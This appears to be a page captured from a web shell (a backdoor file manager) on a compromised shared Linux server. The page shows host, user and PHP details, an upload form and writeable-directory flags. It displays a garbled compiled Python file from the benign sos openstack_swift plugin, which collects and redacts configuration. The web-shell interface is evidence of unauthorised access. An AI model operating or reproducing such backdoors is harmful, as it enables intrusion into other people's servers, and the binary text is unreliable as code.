https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_swift.cpython-310.pyc
o

-�_g��@sRddlmZmZmZmZGdd�de�ZGdd�deee�ZGdd�dee�ZdS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginc@s4eZdZdZdZdZdZdd�Zdd�Zd	d
�Z	dS)�OpenStackSwiftzOpenStack Swift�openstack_swift)�	openstack�openstack_controllerz%/var/lib/config-data/puppet-generatedcCsd|�d�r|�dg�n|�dg�|�d|jd|jd|jd|jdg�|�d	d
d��dS)N�all_logsz/var/log/swift/z/var/log/swift/*.logz/etc/swift/z/swift/etc/*z/swift/etc/swift/*z/swift/etc/xinetd.d/*z"/memcached/etc/sysconfig/memcached�
swift_conf�	swift_log)z/etc/swift/swift.confz/var/log/swift/swift.log)�
get_option�
add_copy_spec�var_puppet_gen�
add_file_tags)�self�r�D/usr/lib/python3/dist-packages/sos/report/plugins/openstack_swift.py�setups$
����zOpenStackSwift.setupcCs&|�d||�|�|jd||�dS)z Apply regex substitution z/etc/swift/.*\.conf.*z/swift/etc/swift/.*\.conf.*N)�do_path_regex_subr)r�regexp�substrrr�apply_regex_sub0s
�zOpenStackSwift.apply_regex_subcCsLgd�}ddg}|�dd�|��d�d�d�|�}|�d|�d�d	�dS)
N)�ldap_dns_password�neutron_admin_password�rabbit_password�
qpid_password�powervm_mgr_passwd�virtual_power_host_pass�xenapi_connection_password�password�
host_password�vnc_password�admin_password�
transport_url�
connection�sql_connectionz(^\s*(�|z
)\s*=\s*)(.*)z\1*********z!)\s*=\s*(.*)://(\w*):)(.*)(@(.*))z
\1*********\6)r�join)r�protect_keys�connection_keys�
join_con_keysrrr�postproc8s�

�zOpenStackSwift.postprocN)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesrrrr,rrrrrsrc@�eZdZdZdS)�DebianSwift)	�swiftz
swift-accountzswift-containerzswift-objectzswift-proxy�swauthzpython-swiftz
python-swauthz
python3-swiftN�r-r.r/�packagesrrrrr4N�r4c@r3)�RedHatSwift)zopenstack-selinuxNr7rrrrr:]r9r:N)�sos.report.pluginsrrrrrr4r:rrrr�<module>s
=

https://t.me/RX1948 - 2025